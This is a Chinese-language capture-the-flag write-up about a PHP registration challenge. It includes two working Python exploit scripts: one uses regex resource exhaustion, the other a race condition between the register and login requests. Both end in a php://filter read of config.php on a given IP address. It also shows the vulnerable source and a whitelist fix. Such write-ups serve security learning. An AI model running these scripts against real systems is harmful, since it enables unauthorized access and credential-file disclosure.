这题通过PHPSTORM的隐藏工程文件.idea/workspace.xml 得到源码, 之前一直在想str_shuffle 的伪随机数预测， 最后也没多少时间做了就结束了，很可惜，赛后看wp发现有两种解法，一种是通过preg_match函数的资源消耗来绕过，第二种是条件竞争， 第一种官方已经给出了wp,因此不再多说，贴出脚本:
# !/usr/bin/env python
# -*- coding: utf-8 -*-
#
import requests
import threading
import re
import os
__author__ = 'Rivir'
s = requests.session()
url = 'http://123.206.120.239/'
url1 = url+'register.php'
url2 = url+'login.php'
url3 = url+'member.php?file=php://filter/resource=config.php'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
def register():
data = {
'username':'rivir23',
'password':'123456',
'code':'xdsec###'+'A'*100000
}
try:
s.post(url1, headers=headers,data=data,timeout=5)
except Exception as e:
print e
pass
#print re1.content
def login():
data = {
'username':'rivir23',
'password':'123456'
}
s.post(url2,headers=headers,data=data)
def member():
res = s.get(url3,headers=headers)
print res.content
if __name__ == '__main__':
register()
#register()
login()
member()
下面主要来看下条件竞争的做法，在register.php中的源码为:
<?php
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 16 || strlen($username) > 16) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}
echo '<script>alert("register success");location.href="./index.html"</script>';
可以看到存在两步数据库的插表操作，第一次是user表， 第二次是identities表， 由于mysql_query()的延时，前后两步操作是的时间差是可以被竞争利用的
我们再来看下member.php验证的情况:
<?php
error_reporting(0);
session_start();
include('config.php');
if (isset($_SESSION['username']) === false) {
die('please login first');
}
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
$sth->execute([':username' => $_SESSION['username']]);
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}
$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
}else{
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body background="./images/1.jpg">
<object type="application/x-shockwave-flash" style="outline:none;" data="http://cdn.abowman.com/widgets/hamster/hamster.swf?" width="300" height="225"><param name="movie" value="http://cdn.abowman.com/widgets/hamster/hamster.swf?"></param><param name="AllowScriptAccess" value="always"></param><param name="wmode" value="opaque"></param></object>
<p style="color:orange">你好啊，但是你好像不是XDSEC的人,所以我就不给你flag啦~~</p>
</body>
</html>
关键验证步骤位:
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}
发现这里的验证只是基于一种黑名单的验证，即只要数据库里的值不是“GUEST", 就通过
这样条件竞争的两个前提就都满足了， 下面就是写脚本来开两个线程来跑:
# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import threading
import re
import os
__author__ = 'Rivir'
s = requests.session()
url = 'http://123.206.120.239/'
url1 = url+'register.php'
url2 = url+'login.php'
url3 = url+'member.php?file=php://filter/resource=config.php'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
def register(data):
re1 = s.post(url1, headers=headers,data=data)
#print re1.content
def login(data):
re2 = s.post(url2, headers=headers,data=data)
#print re2.content
if 'None' in re2.content:
print re2.content
print 'success!!!'
print data
re3 = s.get(url3,headers=headers).content
if 'LCTF{' in re3:
print re3
def main():
for i in range(1000):
username = os.urandom(4).encode('hex')
password = '2333333'
data = {'username': username, 'password': password}
# print data
t1 = threading.Thread(target=register, args=(data,))
t2 = threading.Thread(target=login, args=(data,))
t1.start()
t2.start()
# t1.join()
# t2.join()
if __name__ == '__main__':
main()
修复方法，验证采用白名单的验证，即把验证程序改成:
if ($sth->fetch()[0] === 'xdsec') {
$_SESSION['is_admin'] = true;
}
近两次比赛被虐哭了，打不过,根本打不过，有那个大佬战队缺人不，萌新求carry。
网友评论